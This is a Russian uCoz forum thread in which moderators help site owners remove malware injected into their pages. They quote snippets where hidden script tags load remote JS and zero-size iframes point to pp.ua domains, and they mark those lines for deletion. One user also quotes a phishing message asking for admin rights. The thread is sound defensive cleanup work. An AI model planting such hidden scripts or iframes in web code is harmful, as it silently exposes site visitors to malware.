Модератор форума: Yuri_G |
Сообщество uCoz Мастерская uCoz Безопасность сайта Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение) |
Вирусы на сайтах (для изучения) |
klasspol, из юкозовской формы поиска выделенное красным удалить
Quote <div class="searchForm"><div align="left"> </div><form onsubmit="this.sfSbm.disabled=true" method="get" style="margin: 0pt;" action="http://ucozon.ru/search/"><div align="left"> </div><script src="http://radikol.ru/1.js" type="text/javascript"></script><input name="q" maxlength="30" size="30" |
Здравствуйте, я стал замечать, что в последнее время с моего сайта периодически перенаправляет на вот эту вот ссылку http://et547.aelita.fr/main.php?page=7d2551bbd84bb4ef и при чём вся система у меня при этом сразу начинает зависать и тормозить по страшному... У меня оперативка 768 мб (не много, но я не жалуюсь) и скорость интернета нормальная, но как только появляется эта ссылка, то сразу комп тупить начинает, что порой даже ctrl+alt+delete не спасает - только путем вынужденной перезагрузки. Убедительная просьба помочь разобраться, откуда проблема исходит
Проблемный сайт - http://hawaiifive0.ucoz.ru/ ~ status: online ~
|
GORDON-HLCS, выделенное красным удалить
Quote <object><embed src="http://hawaiifive0.ucoz.ru/flash/flashclock.swf" wmode="transparent" type="application/x-shockwave-flash" height="40" width="140"><script type="text/javascript" src="http://hawaiifive0.ucoz.ru/1.js"></script><param name="movie" value="hawaiifive0.ucoz.ru/flash/flashclock.swf" type=""><param name="wmode" value="transparent"><param name="allowFullScreen" value="true"></object> <a href="http://www.bing.com/" title="Поисковая система BING" target="_blank"> для меня навсегда останется загадкой зачем вы залили к себе на сайт вредоносный скрипт и зачем вы перегрузили несчастную главную тоннами мусора? хотя ваше дело сразу говорю. не логинилась. возможно есть грязь и под логином, но честно терпения не хватило перебирать ваши стокилометровые скрипты |
Grisssok, В форме входа ( плиз вайт , это уже край , ловить нужно раньше )
<iframe src="http://ppi.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe> Procsi, В блоке под названием СW <script src="http://ijl.pp.ua/1.js" type="text/javascript"> Quote не понемаю что надо делать Сообщение отредактировал Miss_Esq - Вторник, 25 Окт 2011, 22:14:18
|
Procsi, из блока CW удалить выделенный красным код
Quote alt="Поражения" align="center" border="0"><br>Поражения(1)<br><script src="http://ijl.pp.ua/1.js" type="text/javascript"></script><hr size="2" width="100%"><img src="http://bu-portal.at.ua/skpintu/cw1/6.png" class="IEpng" width="78" border="0" height="78"><br> что непонятно в этом? вам уже отвечали |
Здравствуйте. Не нашла более подходящей темы. Пишу сюда
Сегодня ко мне на сайте пришло сообщение от пользователя Ucozsistem, следующего содержания: ___________________________________________________ uCoz sistem (Ucozsistem) 26.10.2011, 10:01 uCoz sistem (Ucozsistem) Сегодня Здравствуйте Миледи, система uCoz обнаружила на вашем сайте http://www.kino-domik.ru вредоносный файл, который в последствии может навредить системе uCoz, после чего мы будем вынуждены заблокировать Ваш сайт. Чтоб избежать таких последствий нам необходимы права Администратора, так как по другому мы не можем удалить вредоносный файл.С уважением система uCoz. ___________________________________________________ Подозреваю, что этот пользователь - мошенник. Для подстраховки можно проверить сайт www.kino-domik.ru на вирусы? Так или иначе. Спасибо. Добавлено (26-Окт-2011, 11:45:28) |
Не могу зайти на сайт : http://gamemap-illidan.ucoz.org/
Как только открывается любая страница кроме форума, меня перебрасывает на http://yt76.aelita.fr/main.php?page=4a96d872447c169b Что делать? |
Rail-FrostRage, из блока мини-профиль выделенное красным удалить
Quote <center><br><a href="javascript:openOnClick('options')"> Изменить информацию</a> </center> <center><br><iframe src="http://radikal.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><a id="upml2" href="javascript:openOnClick('mail')"> Читать ЛС (<b>0</b>)</a> </center> <DIV><br>< в правилах подачи заявки есть пункт, который вы проигнорировали. надо указывать под логином или под гостем есть проблемы |
Миледu,
Quote Подозреваю, что этот пользователь - мошенник. |
jagiro, из переводчика сайта от ромале удалите выделенный красным код
Quote <input onclick="this.form.langpair.value=this.value" title="Danish" value="ru|da" src="http://romale80.ucoz.ru/translation/images/Denmark.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Danish</span><br> <iframe src="http://rapnews.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameborder="0"></iframe><input onclick="this.form.langpair.value=this.value" title="Chinese" value="ru|zh-CN" src="http://romale80.ucoz.ru/translation/images/China.png" name="langpair" type="image"><span style="font-family: Courier New; font-size: 8pt; padding-left: 3px;">Chinese</span><br> <input onclick="this. и это форменная глупость ставить такое к себе на сайт. несколько десятков чужих картинок и сомнительный скрипт. зачем это все? ваш сайт посещается всей планетой? поверьте, если к вам захотят прийти из иностранных локалей гугла или даже яндекса, то гугл точно предлагает перевод страницы. подумайте ещё три раза над тем, нужен ли вам на сайте огромный код с сомнительным скриптом и тонной картинок с чужого хоста |
| |||